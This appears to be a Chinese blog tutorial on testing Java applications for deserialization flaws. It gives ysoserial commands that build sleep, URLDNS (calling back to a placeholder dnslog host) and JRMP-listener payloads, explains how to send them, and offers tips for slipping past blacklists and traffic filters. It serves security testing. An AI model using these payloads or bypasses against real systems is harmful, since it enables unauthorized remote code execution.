【Java反序列化测试】
Java反序列化测试
- 1. 识别反序列化入口点
- 2. 构造探测Payload
- 3. 发送Payload并观察结果
- 4. 绕过可能的防护
- 5. 自动化工具
- 注意事项
- 总结
Java反序列化测试:
1. 识别反序列化入口点
- 常见入口:
- HTTP请求参数(如POST数据、Cookie、Headers)。
- RMI(远程方法调用)、JMX(Java管理扩展)等Java远程协议。
- 文件上传/下载功能(如序列化对象文件)。
- 自定义二进制协议或API接口。
- 特征识别:
- 序列化数据通常以魔数
AC ED 00 05(十六进制)开头,Base64编码后为rO0。 - 检查请求头或参数中是否包含类似
rO0ABQ...的Base64字符串。
- 序列化数据通常以魔数
2. 构造探测Payload
方法一:触发延迟或异常
- 生成一个导致线程睡眠或抛出异常的Payload,观察响应时间或错误信息:
# 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒) java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin - 发送Payload后,若响应延迟显著增加,可能漏洞存在。
方法二:DNS外带探测(推荐)
- 生成触发DNS查询的Payload,验证是否存在反序列化漏洞:
# 使用ysoserial的URLDNS模块(替换your.dnslog.cn) java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin - 发送Payload后,检查DNSLog平台是否有记录(需提前注册DNSLog服务)。
方法三:JRMP反向探测
- 启动一个JRMP监听服务(如使用
ysoserial.exploit.JRMPListener):java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令" - 生成JRMP客户端Payload并发送,若目标反序列化时连接你的JRMP服务,则存在漏洞。
3. 发送Payload并观察结果
- 编码Payload:将生成的二进制Payload转换为Base64或URL编码:
base64 -w0 payload.bin - 发送请求(示例):
POST /vulnerable-endpoint HTTP/1.1 Content-Type: application/x-java-serialized-object[Base64 Payload] - 工具辅助:使用Burp Suite、Postman或自定义脚本发送Payload。
4. 绕过可能的防护
- 流量混淆:
- 对Payload进行GZIP压缩或附加额外字节。
- 使用不同编码(如Hex、Unicode)。
- 绕过黑名单:
- 尝试冷门Gadget链(如Beanutils、ROME)。
- 使用无依赖的Gadget(如
java.util.HashSet)。
5. 自动化工具
- Burp Suite插件:
- Freddy:自动化检测反序列化漏洞。
- Serialization Scanner:扫描入口点并生成Payload。
- 其他工具:
- GadgetProbe:探测目标类路径中的可用Gadget。
- marshalsec:快速启动JRMP/LDAP恶意服务。
注意事项
- 谨慎执行命令:避免使用
Runtime.exec等危险操作,优先用DNS/HTTP外带验证。 - 环境差异:不同JDK版本和库可能影响Gadget可用性。
总结
关键在于识别入口点并通过外带通信(DNS/HTTP)或延迟特征确认漏洞。结合工具生成Payload和流量分析,可有效提高检测成功率。
相关文章:
【Java反序列化测试】
Java反序列化测试 1. 识别反序列化入口点2. 构造探测Payload3. 发送Payload并观察结果4. 绕过可能的防护5. 自动化工具注意事项总结 Java反序列化测试: 1. 识别反序列化入口点 常见入口: HTTP请求参数(如POST数据、Cookie、Headersÿ…...
代码规范和简化标准
代码规范和简化标准是编写高质量、可维护、可扩展和可读代码的基本原则。遵循这些标准不仅能提高团队协作效率,还能减少出错的概率和后期维护的成本。以下是一些常见的代码规范和简化标准: 1. 命名规范 变量命名: 使用具有描述性的名称&…...
RabbitMQ怎么实现延时支付?
一、使用“死信队列”消息过期时间 1、原理: 设置消息”存活时间“,如果没有被及时消费,就会被丢弃到一个”死信队列“,然后消费者监听这个死信队列处理消息 2、步骤: 2.1、创建两个队列: 2.1.1、普通队…...
node项目前后端密码加密传输及存储方案
前端:使用crypto-js库的SHA256算法,包含用户注册时使用的邮箱加上自定义的secret key生成盐值,接着使用PBKDF2算法进行加密。最后将加密后的密码传给后端。 import CryptoJS from "crypto-js";export const encryptPassword (ema…...
迷你世界脚本方块接口:Block
方块接口:Block 彼得兔 更新时间: 2024-08-27 11:04:56 具体函数名及描述如下: 序号 函数名 函数描述 1 isSolidBlock(...) 是否是固体方块 2 isLiquidBlock(...) 是否是液体方块 3 isAirBlock(...) 是否是气体方块 4 getBl…...
el-input实现金额输入
需求:想要实现一个输入金额的el-input,限制只能输入数字和一个小数点。失焦数字转千分位,聚焦转为数字,超过最大值,红字提示 效果图 失焦 聚焦 报错效果 // 组件limitDialog <template><el-dialog:visible.s…...
双碳战略下的智慧能源实践:安科瑞储能管理系统助力企业绿色转型
在全球碳中和目标加速推进的背景下,中国“十四五”规划明确提出构建以新能源为主体的新型电力系统,储能技术成为支撑能源结构转型的核心要素。安科瑞储能能量管理系统作为企业级智慧能源解决方案的核心载体,凭借其技术创新与场景适配能力&…...
《鸢尾花数学大系:从加减乘除到机器学习》开源资源
《鸢尾花数学大系:从加减乘除到机器学习》开源资源 Gitee:https://gitee.com/higkoo/ bilibili:https://space.bilibili.com/513194466 GitHub:https://github.com/Visualize-ML...
本地部署HDFS集群
首先完成本地部署大数据集群前置准备,可参考: 本地部署大数据集群前置准备https://blog.csdn.net/m0_73641796/article/details/145994787?spm1001.2014.3001.5501 1.下载hadoop 下载Hadoop安装包,本文用的是hadoop-3.3.4.tar.gz 2. 集群…...
Windows 环境下 Nginx、PHP 与 ThinkPHP 开发环境搭建
Windows 环境下 Nginx、PHP 与 ThinkPHP 开发环境搭建 目录 安装 Nginx 和 PHP配置 Nginx配置 PHP启动服务ThinkPHP 配置常见问题排查 1. 安装 Nginx 和 PHP 安装 Nginx 访问 Nginx 官网 下载 Windows 版本解压到指定目录,如 C:\nginx 安装 PHP 访问 PHP 官网…...
10.【线性代数】—— 四个基本子空间
十、 四个基本子空间 1. 列空间 C ( A ) C(A) C(A) in R m R^m Rm2. 零空间 N ( A ) N(A) N(A) in R n R^n Rn3. 行空间 C ( A T ) C(A^T) C(AT) in R n R^n Rn4. 左零空间 N ( A T ) N(A^T) N(AT) in R m R^m Rm综述5. 新的向量空间 讨论矩阵 A m ∗ n A_{m*n} Am∗n…...
基于vue框架的游戏商城系统cq070(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
系统程序文件列表 项目功能:用户,分类,商品信息,游戏高手,游戏代练 开题报告内容 基于Vue框架的游戏商城系统开题报告 一、研究背景与意义 随着互联网技术的飞速发展和游戏产业的蓬勃兴起,游戏商城作为游戏产业链中的重要一环,迎来了前所…...
我代表中国受邀在亚马逊云科技全球云计算大会re:Invent中技术演讲
大家好我是小李哥,本名叫李少奕,目前在一家金融行业公司担任首席云计算工程师。去年5月很荣幸在全球千万名开发者中被选为了全球亚马逊云科技认证技术专家(AWS Hero),是近10年来大陆地区仅有的第9名大陆专家。同时作为…...
css3d放置的面板方向不对问题排查
以往在threejs左手坐标系下,cameranew THREE.Vector3(0, 0, 1),好像在贴css3d的时候从来不会出问题。而这次接到一个朋友是用右手坐标系的,camera默认不设置方向,则应该是(0,1,0) c…...
网络安全法与等级保护 PPT 精华汇总
资源描述 本资源文件为《网络安全法与等级保护》的PPT精华汇总,内容涵盖了网络安全法与等级保护的总体框架及相关标准规范。该PPT详细介绍了网络安全法与等级保护的各个章节和条款,并提供了基础类和应用类的相关标准文件,帮助读者全面了解和…...
chrome下载文件提示“贵组织屏蔽了该文件,因为它不符合安全政策” 安装chrome插件出现问题
查了一圈发现有如下解决方法 可逐一排查 1. 检查是否安装了阿里旺旺,会导致你无法安装chrome的插件。卸载阿里旺旺后,重启chrome即可 2. 注册表出现问题,删除\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome 下的 EnabledPlugins 文…...
linux磁盘满了怎么安全删除文件
df -h 通过df -h /dir 查看被占满的目录,dir替换为你的文件目录 du -sh * 进入被占满的目录,执行 du -sh * ,查看哪些文件占的磁盘大 查看占用磁盘最大的文件 du -sh * | sort -rh | head -n N N通常可以设置为10 有的docker容器文件太…...
探秘基带算法:从原理到5G时代的通信变革【十】基带算法应用与对比
文章目录 三、算法在现代通信系统中的应用3.1 5G 通信中的应用3.1.1 信道编码与调制解调3.1.2 大规模 MIMO 技术3.1.3 案例分析:5G 基站与终端实现 3.2 卫星通信中的应用3.2.1 抗干扰与纠错编码3.2.2 信号处理与调制解调3.2.3 案例分析:卫星通信系统实例…...
io学习----->标准io
思维导图: 一.io的作用 io是实现对文件的操作,把运行结果存到文件中,读取文件的数据,方便后期查询。 二.io的概念 io是指系统 和外部设备或用户之间的数据交互 I:input 表示数据从外部设备输入到内存中; O:output…...
go语言中字符串嵌套
在Go语言中,字符串嵌套通常是指在字符串中包含另一个字符串。可以通过以下几种方式实现: 1. 使用双引号和转义字符 如果需要在字符串中嵌套双引号,可以使用转义字符 \ 来表示内部的双引号。例如: s : "He said, \"He…...
2024-2025学年职业院校技能大赛“大数据应用开发”赛项竞赛样题-解析
2025年职业院校技术大赛-高职大数据应用开发赛项专题。 2024-2025学年广东省职业院校技能大赛“大数据应用开发”赛项竞赛样题1-任务B:离线数据处理_解析2024-2025学年广东省职业院校技能大赛“大数据应用开发”赛项竞赛样题2-任务B:离线数据处理_解析2…...
LeetCode 面试题 17.19. 消失的两个数字
LeetCode 面试题 17.19. 消失的两个数字 思路🧐: 运用位运算,我们先创建一个变量tmp,依次异或nums和1~N所有整数,此时就可以得到两个数的异或值。 然后通过右移操作,逐位检查tmp中的每一位,找到…...
KaiwuDB| Google Spanner 经典架构回顾
前言 大数据时代 ,随着移动互联网和物联网技术的发展 , 全球数据量呈现爆发式增长,已经远远超出集中式单机数据库的处理能力。CCF 数据库专委 2021 年发布的《“十四五”数据库发展趋势与挑战》显示, 各行各业海量数据的管理需求…...
拼电商客户管理系统
内容来自:尚硅谷 难度:easy 目 标 l 模拟实现一个基于文本界面的 《 拼电商客户管理系统 》 l 进一步掌握编程技巧和调试技巧,熟悉面向对象编程 l 主要涉及以下知识点: 类结构的使用:属性、方法及构造器 对象的创建与…...
Electron、Tauri及其它跨平台方案终极对比
Electron、Tauri及跨平台方案终极对比(2025版) 一、核心框架深度解析 1.1 Electron:Web技术的桌面霸主 技术架构 基于Chromium(浏览器内核) Node.js(后端运行时)的双进程架构,支持…...
WireGuard搭建网络,供整个公司使用
一、清理现有配置(如已有失败尝试) # 停止并删除现有 WireGuard 接口 sudo wg-quick down wg0 sudo rm -rf /etc/wireguard/wg0.conf# 验证接口已删除 (执行后应该看不到 wg0) ifconfig二、服务器端完整配置流程 1. 安装 WireGuard sudo apt update &…...
项目准备(flask+pyhon+MachineLearning)- 1
目录 这是一篇学习笔记 1. 搭建项目 2.前期准备工作 3.创建用户(user)模板 这是一篇学习笔记 目的:用flask快速实现发布有关机器学习的项目,掌握flask框架,机器学习模型的存储和调用。 1. 搭建项目 使用pycharm创建项目,fl…...
1.2.2 使用Maven方式构建Spring Boot项目
本次实战通过Maven方式构建了一个Spring Boot项目,实现了简单的Web应用。首先,创建了Maven项目并设置好项目名称、位置、构建系统和JDK等。接着,添加了Spring Boot的父项目依赖和web、thymeleaf起步依赖。然后,创建了项目启动类He…...
C++中函数的调用
************* C topic:call functions ************* 1、为什么要用函数 In every codes, functions are the crucial parts. There are many advantages of the functions. But I introduce two of them. The first usage of the functions is reuse. And th…...
【入门Web安全之前端学习的侧重点和针对性的建议】
入门Web安全之前端学习的侧重点和针对性的建议 一、HTML:理解攻击载荷的载体二、CSS:次要但需警惕点击劫持三、JavaScript:渗透测试的核心重点四、浏览器工具:渗透测试的实战武器五、学习建议与资源六、总结:渗透测试者…...
